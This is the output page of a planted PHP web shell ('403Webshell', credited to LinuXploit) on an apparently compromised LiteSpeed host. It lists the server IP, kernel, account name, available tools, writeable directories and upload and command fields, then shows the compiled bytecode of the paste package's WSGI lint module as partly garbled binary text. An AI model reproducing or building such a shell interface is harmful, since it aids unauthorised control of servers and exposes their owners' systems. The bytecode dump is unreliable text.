403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.48.13
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/lint.cpython-37.pyc
B

a�N�:�@sdZddlZddlZddlmZmZmZmZddlZe�	d�Z
e�	d�ZGdd�de�Z
d&dd	�ZGd
d�de�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zee_d	d%gZdS)'a"
Middleware to check for obedience to the WSGI specification.

Some of the things this checks:

* Signature of the application and start_response (including that
  keyword arguments are not used).

* Environment checks:

  - Environment is a dictionary (and not a subclass).

  - That all the required keys are in the environment: REQUEST_METHOD,
    SERVER_NAME, SERVER_PORT, wsgi.version, wsgi.input, wsgi.errors,
    wsgi.multithread, wsgi.multiprocess, wsgi.run_once

  - That HTTP_CONTENT_TYPE and HTTP_CONTENT_LENGTH are not in the
    environment (these headers should appear as CONTENT_LENGTH and
    CONTENT_TYPE).

  - Warns if QUERY_STRING is missing, as the cgi module acts
    unpredictably in that case.

  - That CGI-style variables (that don't contain a .) have
    (non-unicode) string values

  - That wsgi.version is a tuple

  - That wsgi.url_scheme is 'http' or 'https' (@@: is this too
    restrictive?)

  - Warns if the REQUEST_METHOD is not known (@@: probably too
    restrictive).

  - That SCRIPT_NAME and PATH_INFO are empty or start with /

  - That at least one of SCRIPT_NAME or PATH_INFO are set.

  - That CONTENT_LENGTH is a positive integer.

  - That SCRIPT_NAME is not '/' (it should be '', and PATH_INFO should
    be '/').

  - That wsgi.input has the methods read, readline, readlines, and
    __iter__

  - That wsgi.errors has the methods flush, write, writelines

* The status is a string, contains a space, starts with an integer,
  and that integer is in range (> 100).

* That the headers is a list (not a subclass, not another kind of
  sequence).

* That the items of the headers are tuples of strings.

* That there is no 'status' header (that is used in CGI, but not in
  WSGI).

* That the headers don't contain newlines or colons, end in _ or -, or
  contain characters codes below 037.

* That Content-Type is given if there is content (CGI often has a
  default content type, but WSGI does not).

* That no Content-Type is given when there is no content (@@: is this
  too restrictive?)

* That the exc_info argument to start_response is a tuple or None.

* That all calls to the writer are with strings, and no other methods
  on the writer are accessed.

* That wsgi.input is used properly:

  - .read() is called with zero or one argument

  - That it returns a string

  - That readline, readlines, and __iter__ return strings

  - That .close() is not called

  - No other methods are provided

* That wsgi.errors is used properly:

  - .write() and .writelines() is called with a string

  - That .close() is not called, and no other methods are provided.

* The response iterator:

  - That it is not a string (it should be a list of a single string; a
    string will work, but perform horribly).

  - That .next() returns a string

  - That the iterator is not iterated over until start_response has
    been called (that can signal either a server or application
    error).

  - That .close() is called (doesn't raise exception, only prints to
    sys.stderr, because we only know it isn't called when the object
    is garbage collected).
�N)�DictType�
StringType�	TupleType�ListTypez^[a-zA-Z][a-zA-Z0-9\-_]*$z[\000-\037]c@seZdZdZdS)�WSGIWarningz:
    Raised in response to WSGI-spec-related warnings
    N)�__name__�
__module__�__qualname__�__doc__�rr�;/opt/alt/python37/lib/python3.7/site-packages/paste/lint.pyrxsrcs�fdd�}|S)a�
    When applied between a WSGI server and a WSGI application, this
    middleware will check for WSGI compliancy on a number of levels.
    This middleware does not modify the request or response in any
    way, but will throw an AssertionError if anything seems off
    (except for a failure to close the application iterator, which
    will be printed to stderr -- there's no way to throw an exception
    at that point).
    cs�t|�dkstd��|r td��|\}�t|�g���fdd�}t|d�|d<t|d�|d<�||�}|dk	r||dks�td	��t|�t|��S)
N�zTwo arguments requiredzNo keyword arguments allowedcs�t|�dks$t|�dks$td|��|r0td��|d}|d}t|�dkrV|d}nd}t|�t|�t||�t|���d�t�|��S)Nr
�zInvalid number of arguments: %szNo keyword arguments allowedr�)�len�AssertionError�check_status�
check_headers�check_content_type�check_exc_info�append�WriteWrapper)�args�kw�status�headers�exc_info)�start_response�start_response_startedrr�start_response_wrapper�s



z<middleware.<locals>.lint_app.<locals>.start_response_wrapperz
wsgi.inputzwsgi.errorsFz>The application must return an iterator, if only an empty list)rr�
check_environ�InputWrapper�ErrorWrapper�check_iterator�IteratorWrapper)rr�environr�iterator)�application)rrr�lint_app�s
zmiddleware.<locals>.lint_appr)r'�global_confr(r)r'r�
middleware}s)r*c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)r!cCs
||_dS)N)�input)�self�
wsgi_inputrrr�__init__�szInputWrapper.__init__cGs4t|�dkst�|jj|�}t|�td�ks0t�|S)Nr�)rrr+�read�type)r,r�vrrrr0�szInputWrapper.readcGs$|jj|�}t|�td�ks t�|S)Nr/)r+�readliner1r)r,rr2rrrr3�szInputWrapper.readlinecGsVt|�dkst�|jj|�}t|�tg�ks0t�x |D]}t|�td�ks6t�q6W|S)Nrr/)rrr+�	readlinesr1)r,r�lines�linerrrr4�s
zInputWrapper.readlinesccs x|��}|sdS|VqWdS)N)r3)r,r6rrr�__iter__�s
zInputWrapper.__iter__cCsdstd��dS)Nrz input.close() must not be called)r)r,rrr�close�szInputWrapper.closeN)	rrr	r.r0r3r4r7r8rrrrr!�sr!c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)r"cCs
||_dS)N)�errors)r,�wsgi_errorsrrrr.�szErrorWrapper.__init__cCs$t|�td�kst�|j�|�dS)Nr/)r1rr9�write)r,�srrrr;�szErrorWrapper.writecCs|j��dS)N)r9�flush)r,rrrr=�szErrorWrapper.flushcCsx|D]}|�|�qWdS)N)r;)r,�seqr6rrr�
writelines�s
zErrorWrapper.writelinescCsdstd��dS)Nrz!errors.close() must not be called)r)r,rrrr8�szErrorWrapper.closeN)rrr	r.r;r=r?r8rrrrr"�s
r"c@seZdZdd�Zdd�ZdS)rcCs
||_dS)N)�writer)r,Zwsgi_writerrrrr.�szWriteWrapper.__init__cCs"t|�td�kst�|�|�dS)Nr/)r1rr@)r,r<rrr�__call__�szWriteWrapper.__call__N)rrr	r.rArrrrr�src@seZdZdd�Zdd�ZdS)�PartialIteratorWrappercCs
||_dS)N)r&)r,�
wsgi_iteratorrrrr.�szPartialIteratorWrapper.__init__cCs
t|j�S)N)r$r&)r,rrrr7�szPartialIteratorWrapper.__iter__N)rrr	r.r7rrrrrB�srBc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)r$cCs ||_t|�|_d|_||_dS)NF)�original_iterator�iterr&�closed�check_start_response)r,rCrGrrrr.�s
zIteratorWrapper.__init__cCs|S)Nr)r,rrrr7szIteratorWrapper.__iter__cCs:|jrtd��|j��}|jdk	r6|js0td��d|_|S)NzIterator read after closedzjThe application returns and we started iterating over its body, but start_response has not yet been called)rFrr&�nextrG)r,r2rrrrHs

zIteratorWrapper.nextcCs d|_t|jd�r|j��dS)NTr8)rF�hasattrrDr8)r,rrrr8szIteratorWrapper.closecCs$|jstj�d�|js td��dS)Nz/Iterator garbage collected without being closed)rF�sys�stderrr;r)r,rrr�__del__s
zIteratorWrapper.__del__N)rrr	r.r7rHr8rLrrrrr$�s

r$cCst|�tks tdt|�|f��x dD]}||ks&td|��q&Wx,dD]$}||ksHtd||dd�f��qHWd|kr�t�dt�xH|��D]<}d	|kr�q�t||�tks�td
|t||�||f��q�Wt|d�tks�td|d��|d
dk�std|d
��t	|d�t
|d�|ddk�rFt�d|dt�|�d��rr|d�d��srtd|d��|�d��r�|d�d��s�td|d��|�d��r�t
|d�dk�s�td|d��|�d��s�|�d��s�td��|�d�dk�std��dS)Nz:Environment is not of the right type: %r (environment: %r))	�REQUEST_METHODZSERVER_NAMEZSERVER_PORTzwsgi.versionz
wsgi.inputzwsgi.errorszwsgi.multithreadzwsgi.multiprocessz
wsgi.run_oncez$Environment missing required key: %r)ZHTTP_CONTENT_TYPEZHTTP_CONTENT_LENGTHz8Environment should not have the key: %s (use %s instead)�ZQUERY_STRINGz�QUERY_STRING is not in the WSGI environment; the cgi module will use sys.argv when this variable is missing, so application errors are more likely�.z9Environmental variable %s is not a string: %r (value: %r)zwsgi.versionz#wsgi.version should be a tuple (%r)zwsgi.url_scheme)�http�httpszwsgi.url_scheme unknown: %rz
wsgi.inputzwsgi.errorsrM)ZGETZHEADZPOSTZOPTIONSZPUTZDELETEZTRACEzUnknown REQUEST_METHOD: %rZSCRIPT_NAME�/z$SCRIPT_NAME doesn't start with /: %rZ	PATH_INFOz"PATH_INFO doesn't start with /: %rZCONTENT_LENGTHrzInvalid CONTENT_LENGTH: %rzgOne of SCRIPT_NAME or PATH_INFO are required (PATH_INFO should at least be '/' if SCRIPT_NAME is empty)zOSCRIPT_NAME cannot be '/'; it should instead be '', and PATH_INFO should be '/')r1rr�warnings�warnr�keysrr�check_input�check_errors�get�
startswith�intZhas_key)r%�keyrrrr sZ




r cCs,x&dD]}t||�std||f��qWdS)N)r0r3r4r7z-wsgi.input (%r) doesn't have the attribute %s)rIr)r-�attrrrrrV]s
rVcCs,x&dD]}t||�std||f��qWdS)N)r=r;r?z.wsgi.errors (%r) doesn't have the attribute %s)rIr)r:r\rrrrWcs
rWcCs�t|�tkstd|��|�dd�d}t|�dks@td|��t|�}|dks\td|��t|�dkst|dd	kr�t�d
|t�dS)Nz Status must be a string (not %r)rrrz)Status codes must be three characters: %r�dzStatus code is invalid: %r�� zjThe status string (%r) should be a three-digit integer followed by a single space and a status explanation)	r1rr�splitrrZrSrTr)rZstatus_codeZ
status_intrrrris

rcCs
t|�tks td|t|�f��i}x�|D]�}t|�tksNtd|t|�f��t|�dks^t�|\}}|��dks~td|��d||��<d|kr�d|ks�td|��t�|�s�td	|��|�d
�s�|�d�r�td|��t	�|�r*td
|t	�|��
d�f��q*WdS)Nz%Headers (%r) must be of type list: %rz1Individual headers (%r) must be of type tuple: %rr
rzyThe Status header cannot be used; it conflicts with CGI script, and HTTP status is not given through headers (value: %r).�
�:z,Header names may not contain ':' or '\n': %rzBad header name: %r�-�_z#Names may not end in '-' or '_': %rz#Bad header value: %r (bad char: %r)r)r1rrrr�lower�	header_re�search�endswith�bad_header_value_re�group)rZheader_names�item�name�valuerrrrxs,


rcCsrt|�dd�d�}d}d}x8|D]0\}}|��dkr"||krBdSds"td|��q"W||krndsntd|��dS)Nrr)��i0zcontent-typezJContent-Type header found in a %s response, which must not return content.z,No Content-Type header found in headers (%s))rZr`rer)rr�codeZNO_MESSAGE_BODYZNO_MESSAGE_TYPErlrmrrrr�srcCs0|dks,t|�td�ks,td|t|�f��dS)Nrz exc_info (%r) is not a tuple: %r)r1r)rrrrr�srcCst|t�rtd��dS)NzvYou should not return a string as your application iterator, instead return a single-item list containing that string.)�
isinstance�strr)r&rrrr#�sr#cCst|�S)N)r*)r'r)rrr�make_middleware�srr)N)r
�rerJ�typesrrrrrS�compilerfri�Warningrr*�objectr!r"rrBr$r rVrWrrrrr#rr�__all__rrrr�<module>ns0


7"		!A

Youez - 2016 - github.com/yon3zu
LinuXploit